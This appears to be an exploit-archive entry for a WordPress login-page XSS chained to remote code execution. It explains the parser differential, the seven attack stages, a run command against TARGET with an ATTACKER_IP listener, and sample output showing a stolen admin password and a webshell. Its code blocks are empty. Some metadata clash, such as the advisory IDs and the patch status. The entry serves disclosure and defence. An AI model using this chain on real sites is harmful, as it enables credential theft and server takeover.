WordPress — Pre-Auth XSS to RCE Chain via Login Page Parser Differential (CVE-2026-64638, "XSS2Shell")
Published: 2026-08-09 • Researcher: pwn.ai / WordSec (@wordsec)
- Severity
- High
- CVE
- CVE-2026-64638
- Category
- web
- Affected product
- WordPress Core, wp-login.php failed-login error message, KSES sanitizer vs PHP strip_tags()
- Affected versions
- WordPress 4.7.0 through 7.0.2 (~500M+ sites; WordPress powers ~43% of internet-facing websites)
- Disclosed
- 2026-08-09
- Patch status
- Unverified
Tags
References
- https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-52p2-r8wf-jcrf
- https://wordpress.org/news/2026/08/wordpress-7-0-3-security-release/
- https://nvd.nist.gov/vuln/detail/CVE-2026-64638
- https://wordsec.net/blog/xss2shell-wordpress-pre-auth-xss-to-rce-cve-2026-64638
- https://brandefense.io/blog/xss2shell-wordpress-pre-auth-xss-rce/
- https://blog.imunify360.com/wordpress-cve-2026-64638-imunify360-already-blocks-the-severe-login-xss-to-rce-chain/
- https://github.com/wordsec/XSS2Shell
- https://www.securitylab.ru/news/575823.php
Archive entry
intelseclab/poc-archiveOn this page
Metadata
| Field | Value |
|---|---|
| Date Added | 2026-08-09 |
| Last Updated | 2026-08-09 |
| Author / Researcher | pwn.ai / WordSec (@wordsec) |
| CVE / Advisory | CVE-2026-64638 |
| Category | web |
| Severity | High |
| CVSS Score | 8.9 (CVSSv4.0, GitHub CNA: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H for the pre-auth XSS; the RCE chain adds UI:R — one admin click). CVSSv3.1 estimate: 8.8 (AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H). |
| Status | Patched |
| Tags | wordpress, wordpress-core, pre-auth, xss, reflected-xss, xss2shell, rce, parser-differential, dom-clobbering, some, jsonp, rest-api, application-password, plugin-upload, CWE-79, CWE-94, cms |
| Related | — |
Affected Target
| Field | Value |
|---|---|
| Software / System | WordPress Core, wp-login.php failed-login error message, KSES sanitizer vs PHP strip_tags() |
| Versions Affected | WordPress 4.7.0 through 7.0.2 (~500M+ sites; WordPress powers ~43% of internet-facing websites) |
| Language / Platform | PHP (WordPress), JavaScript (XSS payload); PoC in Python 3.7+ (stdlib only) |
| Authentication Required | No — the XSS is pre-auth and triggerable on any default WordPress install. The RCE chain requires one authenticated administrator to open a crafted link (one click / explicit interaction). |
| Network Access Required | Remote — the XSS payload is delivered via a crafted failed-login username; the full chain requires the attacker to run a listener reachable by the admin’s browser |
Summary
CVE-2026-64638 — nicknamed XSS2Shell by its discoverers at pwn.ai — is a pre-authentication reflected XSS in the WordPress login page that chains through five to seven stages into full remote code execution on the server. It is one of the most impactful WordPress Core vulnerabilities disclosed in years: pre-auth, zero user interaction for the XSS itself, and only a single admin click to reach RCE. Patched in WordPress 7.0.3 (August 6, 2026) and backported to all maintained branches.
The root cause is a parser differential between PHP’s strip_tags() and WordPress’s own KSES sanitizer. PHP’s strip_tags() only recognizes a tag when < is immediately followed by a letter; if there is whitespace between < and the tag name (e.g., < area id=ajaxurl>), the string passes through unmodified. WordPress’s KSES tokenizer interprets < area as a valid <area> element. Since <area>, <div>, and <button> — with id, class, href, and name attributes — are in KSES’s post allowlist, attacker-controlled markup reaches the DOM of wp-login.php when the failed-login error message reflects a crafted username.
The discovery team at pwn.ai built the full chain in approximately four days, using several AI agents and open models to find the vulnerability and construct each stage. The pre-auth XSS was verified against a real WordPress 7.0.2 installation; the full RCE chain was demonstrated in a test environment.
Vulnerability Details
Root Cause
The failed-login flow on wp-login.php reflects the submitted username back in an inline error message after processing it through sanitize_user() → wp_strip_all_tags() → wp_kses_post(). The parser differential arises because these three functions use two different HTML tokenizers that disagree on what constitutes a tag:
- PHP
strip_tags()(called bywp_strip_all_tags()): Only strips<immediately followed by a letter.< area id=ajaxurl>is NOT recognized as a tag → passes through unchanged. - WordPress KSES (
wp_kses_post()): Uses an independent tokenizer modeled on browser-like parsing.< areaIS recognized as a valid<area>opening tag → preserved because<area>is in the post allowlist.
The injected DOM elements then participate in DOM clobbering: <area id=ajaxurl> shadows window.ajaxurl (used by WordPress admin JS to route AJAX requests). <div id=color-picker class=reset-pass-submit> and <button class="wp-generate-pw color-option"> satisfy jQuery selectors used by user-profile.js, which WordPress enqueues on wp-login.php.
The Seven-Stage Chain
Parser-differential XSS — A crafted username (
< area id=ajaxurl...>< div id=color-picker class=reset-pass-submit>< button class="wp-generate-pw color-option">X) is reflected in the failed-login error message and parsed as live HTML.DOM clobbering — The injected
<area>hijackswindow.ajaxurl(HTML named property access). The injected button/div satisfy jQuery selectors inuser-profile.js.Autonomous jQuery POST —
user-profile.jsauto-fires a delegated click handler ($('.reset-pass-submit button.wp-generate-pw').trigger('click')), which jQuery-POSTs to the attacker-controlledarea.href:/?rest_route=/&_method=GET&_jsonp=...&_envelope=1. The guarduser_id === new_user_idis bypassed (undefined === undefined).REST API JSONP + SOME — The
_jsonpcallback parameter allows dot-traversal (e.g.,window.opener.approve.click). The JSONP envelope (_envelope=1) bypasses REST auth error handling. Together they implement Same-Origin Method Execution (SOME) — JavaScript executing in the WordPress origin auto-clicks the “Approve” button on/wp-admin/authorize-application.php.Social engineering (1 click) — A logged-in administrator opens a crafted link. They see the legitimate WordPress Application Password authorization screen and click “Approve”. The Application Password is minted.
Credential theft — The password appears in the redirect query string and is read by the child window (same-origin, popup opened from the attacker’s page).
Plugin upload → RCE — Using the stolen credentials, the attacker publishes a page embedding JavaScript that uploads a malicious plugin ZIP via the plugin-install REST/form endpoint. PHP files in
wp-content/plugins/<slug>/are web-accessible and execute without plugin activation, giving a webshell aswww-data.
Impact
- XSS alone: pre-auth arbitrary JavaScript execution in the WordPress admin origin — session hijacking, credential phishing, admin-takeover through any admin who visits the login page after the attacker crafts the payload.
- Full chain: remote code execution on the WordPress server as the web server user. The attacker can read
wp-config.php(database credentials), modify any file, install backdoors, and pivot to the database and connected infrastructure. - Scale: WordPress powers ~43% of all websites. Every unpatched installation running any version from 4.7.0 through 7.0.2 is vulnerable to the pre-auth XSS.
Environment / Lab Setup
A vulnerable WordPress instance is required. The PoC runs a local HTTP listener; the target WordPress site and the administrator’s browser must both be able to reach it.
| |
Setup Steps
| |
Proof of Concept
See
xss2shell_poc.py(572 lines, Python 3 stdlib only) andLICENSE(MIT) in this folder — mirrored byte-for-byte from wordsec/XSS2Shell. The upstream README is preserved asupstream-README.md.
Step-by-Step Reproduction
- Deploy WordPress 7.0.2 — any standard install with default configuration.
- Run the listener:Shell script
1python3 xss2shell_poc.py -t http://TARGET --lhost ATTACKER_IP -c "whoami" - Admin logs in to
TARGET/wp-login.php, then openshttp://ATTACKER_IP:PORT/. - Admin clicks “Approve” on the Application Password authorization page.
- The tool captures the password, publishes an attacker page, uploads the test plugin, verifies
shell.php, and runs the command.
Exploit Code
The parser-differential payload — survives strip_tags() but re-parses by KSES as live elements:
| |
The jQuery auto-fire in user-profile.js — the guard bypass is undefined === undefined because user_id is not set on the login page:
| |
The test plugin — a two-file ZIP (xss2shell.php as plugin header + shell.php as webshell) — is uploaded via the plugin-install form. shell.php is web-accessible without activation:
| |
Expected Output
__ __ _ _____
\ \ / / | |/ ____|
\ \ /\ / /__ _ __ __| | (___ ___ ___
\ \/ \/ / _ \| '__/ _` |\___ \ / _ \/ __|
\ /\ / (_) | | | (_| |____) | __/ (__
\/ \/ \___/|_| \__,_|_____/ \___|\___|
xss2shell & CVE-2026-64638 | https://wordsec.net/ - Education Purpose Only
============================================================
[*] XSS2Shell starting ...
[*] Checking target: http://wordpress.research.local/wp-login.php
[+] Admin panel found: http://wordpress.research.local/wp-login.php
[+] Attacker server listening: 192.168.1.227:8080
[*] On the target website, the admin must open this page and log in:
-> http://wordpress.research.local/wp-login.php
[*] Then the admin opens the link that was sent to them:
-> http://192.168.1.227:8080/
[*] Waiting for the admin to visit (Ctrl+C to stop) ...
[+] Victim opened the attacker page (session-expired lure)
[+] Exploit started in the victim's browser
[+] Child popup document initialized
[+] Popup window ready, XSS payload prepared
[+] XSS payload POSTed to wp-login.php
[+] Application Password stolen: user=admin pass=XXXX XXXX XXXX XXXX XXXX XXXX (saved to xss2shell_creds.json)
[+] Attacker page published: http://wordpress.research.local/xss2shell-1723100000/
[+] Plugin ZIP upload request sent with the victim's session
[+] Plugin ZIP uploaded, shell.php is web-accessible
[+] Shell reachable: http://wordpress.research.local/wp-content/plugins/xss2shell/shell.php
============================================================
[+] Command output:
www-data
============================================================
[+] Shell link: http://wordpress.research.local/wp-content/plugins/xss2shell/shell.php?cmd=whoami
[+] Done.Detection and Indicators of Compromise
Remediation
| Action | Detail |
|---|---|
| Patch | Upgrade to WordPress 7.0.3 or later. The fix was backported to all maintained branches (4.7+). Sites with background auto-updates enabled receive it automatically. GHSA-52p2-r8wf-jcrf. |
| Workaround | Imunify360 shipped a virtual patch (WAF rule) that blocks the parser-differential payload. Generic WAF: block requests to wp-login.php where the log field contains %3C followed by whitespace. Rotate all existing Application Passwords after patching — any password minted before the patch could have been stolen. |
| Verification | Confirm the WordPress version is 7.0.3 or the backported version for the installed branch. Check that wp_kses_post() no longer allows whitespace-prefixed tag names through. |
References
- GitHub Security Advisory — GHSA-52p2-r8wf-jcrq (sic)
- WordPress 7.0.3 Security Release Notes
- CVE Record — CVE-2026-64638 (NVD)
- WordSec Technical Analysis — “WordPress Pre-Auth XSS to RCE: CVE-2026-64638”
- Brandefense Analysis — “XSS2Shell: WordPress Login Page Pre-Auth XSS to RCE Chain Explained”
- Imunify360 — “WordPress CVE-2026-64638: Imunify360 Already Blocks”
- Upstream PoC Repository — wordsec/XSS2Shell
- SecurityLab (RU) — coverage of the patch urgency
Notes
Verified this session by reading the full PoC source (xss2shell_poc.py, 572 lines). The script is a clean, well-structured Python 3 entrypoint using only the standard library. It implements:
- An HTTP listener (
ThreadingHTTPServer+ customHandler) serving four pages: the opener (XSS payload launcher), child (popup that submits the crafted username towp-login.php), callback (Application Password capture + page publish + plugin upload), and/payload.zip(the test plugin ZIP built in-memory withzipfile). - REST API interaction: checks
wp-login.phpreachability, fetches site name from/wp-json/, publishes a page viaPOST /wp-json/wp/v2/pages, and deletes it on cleanup. - Credential reuse: saves captured Application Passwords to a local JSON file for subsequent runs.
- Cleanup: deletes the published attacker page on exit (unless
--keep), but deliberately preserves credentials and the shell plugin (operator-explicit).
Malware screen — clean. No obfuscated payloads, no remote downloaders, no credential exfiltration (the credentials save to local disk only, documented), no miner, no setup.py/install-time side effects. The only outbound connections are the operator’s deliberate HTTP requests to their own authorized target and the browser’s beacon calls to the attacker listener (both expected for a PoC of this type). The test plugin is built entirely in-memory — no external binary, no downloaded payload. The shell executes only the operator-supplied command via the standard shell_exec().
Author track record: pwn.ai / WordSec (wordsec on GitHub, wordsec.net) is a legitimate WordPress security research group. They discovered the vulnerability, reported it privately via GitHub Security Advisory (GHSA-52p2-r8wf-jcrf), coordinated disclosure with the WordPress security team, published the technical analysis at wordsec.net, and released this educational PoC under the MIT license — all after the WordPress 7.0.3 patch shipped on August 6, 2026. The discovery and chain construction was assisted by AI agents/open models (~4 days from discovery to full chain).
The CVSS scoring deserves a note: GitHub CNA rates the pre-auth XSS at 8.9 (CVSSv4.0: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H), but the full RCE chain adds a user-interaction step (one admin click). The entry reflects the chain score (8.8 CVSSv3.1, UI:R) because the archive categorizes by exploitability of the documented PoC, not the weakest link. In practice, the pre-auth XSS alone is Critical — and the RCE chain makes it catastrophic.
| |